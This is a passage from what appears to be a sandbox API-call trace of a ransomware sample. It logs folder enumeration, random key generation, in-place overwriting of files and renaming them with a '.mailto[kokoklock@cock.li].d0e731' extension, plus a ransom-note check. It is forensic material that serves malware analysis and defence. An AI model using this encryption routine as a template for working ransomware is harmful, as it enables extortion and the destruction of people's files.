returned="C:\\Users\\Public\\Documents\\My Pictures" [0168.549] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0168.549] wcscat (in: _Dest=0x2f67c30, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*" [0168.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0168.549] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0168.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ae98) returned 1 [0168.551] RtlExitUserThread (Status=0x0) Thread: id = 1704 os_tid = 0xd2c [0168.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f6ae98 [0168.554] wcscpy (in: _Dest=0x2f6ae98, _Source="C:\\Users\\Public\\Documents\\My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0168.554] wcscat (in: _Dest=0x2f6ae98, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0168.554] wcscat (in: _Dest=0x2f6ae98, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\*") returned="C:\\Users\\Public\\Documents\\My Videos\\*" [0168.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0168.555] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ae98) returned 1 [0168.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa12c0) returned 1 [0168.556] RtlExitUserThread (Status=0x0) Thread: id = 1705 os_tid = 0xd38 [0168.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0168.559] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0168.559] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0xc46fb98 | out: lpFileSize=0xc46fb98*=104264) returned 1 [0168.559] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x19744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.559] ReadFile (in: hFile=0x6f0, lpBuffer=0xc46fb6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0xc46fb6c*, lpNumberOfBytesRead=0xc46fb68*=0x4, lpOverlapped=0x0) returned 1 [0168.561] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.561] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0168.561] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0168.561] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88340 [0168.561] NtQuerySystemTime (in: CurrentTime=0xc46fb44 | out: CurrentTime=0xc46fb44*=132121213258814291) returned 0x0 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x14369336 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xf33d79b0 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x23ffdc4b [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x60d26fcd [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xe5050534 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x3dfeed56 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xc311e470 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x21d3a2ff [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x2a1351ec [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xfbe080d8 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x7dde940c [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xf26a2e00 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x631b10d1 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xdff67e01 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x2da6fead [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xc0a1db4b [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x22e42b40 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x55346034 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x502ae467 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x89a5460a [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x988df8a8 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x7a421f5b [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x50cc547 [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x58b48f9b [0168.561] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x225d5737 [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xfd25ee9b [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x632671ef [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xb02bdbf5 [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xc8deecbf [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0x3ea1ad15 [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xcd68695b [0168.562] RtlRandom (in: Seed=0xc46fb50 | out: Seed=0xc46fb50) returned 0xe09029f2 [0168.570] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880c0 [0168.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96d50 [0168.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0168.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96d50) returned 1 [0168.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88200) returned 1 [0168.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2f99af8 [0168.572] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.572] ReadFile (in: hFile=0x6f0, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc46fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0xc46fb1c*=0x4096, lpOverlapped=0x0) returned 1 [0168.573] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.573] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0168.573] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0168.573] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0168.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0168.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0168.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0168.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0168.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0168.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0168.574] WriteFile (in: hFile=0x6f0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc46fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0xc46fb1c*=0x4096, lpOverlapped=0x0) returned 1 [0168.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.574] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x19748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc46fb54, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0xc46fb54*=0x20, lpOverlapped=0x0) returned 1 [0168.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0168.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0xc46fb68*=0x8, lpOverlapped=0x0) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0xc46fb80*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0xc46fb80*, lpNumberOfBytesWritten=0xc46fb68*=0x4, lpOverlapped=0x0) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xc46fb68*=0x4, lpOverlapped=0x0) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xc46fb68*=0x6c, lpOverlapped=0x0) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0xc46fb68*=0x20, lpOverlapped=0x0) returned 1 [0168.575] WriteFile (in: hFile=0x6f0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc46fb68, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xc46fb68*=0x4, lpOverlapped=0x0) returned 1 [0168.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0168.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880c0) returned 1 [0168.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0168.576] CloseHandle (hObject=0x6f0) returned 1 [0168.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0168.576] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" [0168.576] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.576] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.577] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0168.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0168.577] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0168.577] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2faa150 [0168.577] wcscpy (in: _Dest=0x2faa150, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0168.577] wcscat (in: _Dest=0x2faa150, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0168.577] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0168.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa150) returned 1 [0168.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5138) returned 1 [0168.577] RtlExitUserThread (Status=0x1) Thread: id = 1706 os_tid = 0xd3c [0168.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fae0 [0168.583] wcscpy (in: _Dest=0x2f7fae0, _Source="C:\\Users\\FD1HVy\\Contacts" | out: _Dest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts" [0168.583] wcscat (in: _Dest=0x2f7fae0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Contacts\\") returned="C:\\Users\\FD1HVy\\Contacts\\" [0168.583] wcscat (in: _Dest=0x2f7fae0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Contacts\\*") returned="C:\\Users\\FD1HVy\\Contacts\\*" [0168.583] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0168.583] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fba0 [0168.584] wcscmp (_String1=".", _String2=".") returned 0 [0168.584] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.584] wcscmp (_String1="..", _String2=".") returned 1 [0168.584] wcscmp (_String1="..", _String2="..") returned 0 [0168.584] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.584] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.584] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.584] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0168.584] FindClose (in: hFindFile=0x2f7fba0 | out: hFindFile=0x2f7fba0) returned 1 [0168.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fae0) returned 1 [0168.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f805e0) returned 1 [0168.584] RtlExitUserThread (Status=0x0) Thread: id = 1707 os_tid = 0xd34 [0168.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f805e0 [0168.585] wcscpy (in: _Dest=0x2f805e0, _Source="C:\\Users\\FD1HVy\\Cookies" | out: _Dest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies" [0168.585] wcscat (in: _Dest=0x2f805e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Cookies\\") returned="C:\\Users\\FD1HVy\\Cookies\\" [0168.585] wcscat (in: _Dest=0x2f805e0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Cookies\\*") returned="C:\\Users\\FD1HVy\\Cookies\\*" [0168.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0168.585] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f805e0) returned 1 [0168.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013360) returned 1 [0168.585] RtlExitUserThread (Status=0x0) Thread: id = 1708 os_tid = 0xd24 [0168.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f805e0 [0168.586] wcscpy (in: _Dest=0x2f805e0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.586] wcscat (in: _Dest=0x2f805e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.586] wcscat (in: _Dest=0x2f805e0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\*") returned="C:\\Users\\FD1HVy\\Desktop\\*" [0168.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1c40 [0168.587] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x845b8157, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x845b8157, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fba0 [0168.587] wcscmp (_String1=".", _String2=".") returned 0 [0168.587] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x845b8157, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x845b8157, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.587] wcscmp (_String1="..", _String2=".") returned 1 [0168.587] wcscmp (_String1="..", _String2="..") returned 0 [0168.587] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25700930, ftCreationTime.dwHighDateTime=0x1d4ca54, ftLastAccessTime.dwLowDateTime=0xae92dec0, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0x83448f98, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3ecf, dwReserved0=0x0, dwReserved1=0x0, cFileName="-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="-E-XP3~1.D0E")) returned 1 [0168.587] wcscmp (_String1="-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned -1 [0168.587] wcscmp (_String1="-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned -1 [0168.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fe3720 [0168.587] wcscpy (in: _Dest=0x2fe3720, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.587] wcscat (in: _Dest=0x2fe3720, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.587] wcscat (in: _Dest=0x2fe3720, _Source="-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" [0168.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0168.911] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96bf240, ftCreationTime.dwHighDateTime=0x1d4cf11, ftLastAccessTime.dwLowDateTime=0x183112d0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0x8346f225, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0WQ9P_~1.D0E")) returned 1 [0168.911] wcscmp (_String1="0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.911] wcscmp (_String1="0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.911] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcfdb0 [0168.911] wcscpy (in: _Dest=0x2fcfdb0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.911] wcscat (in: _Dest=0x2fcfdb0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.911] wcscat (in: _Dest=0x2fcfdb0, _Source="0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731") 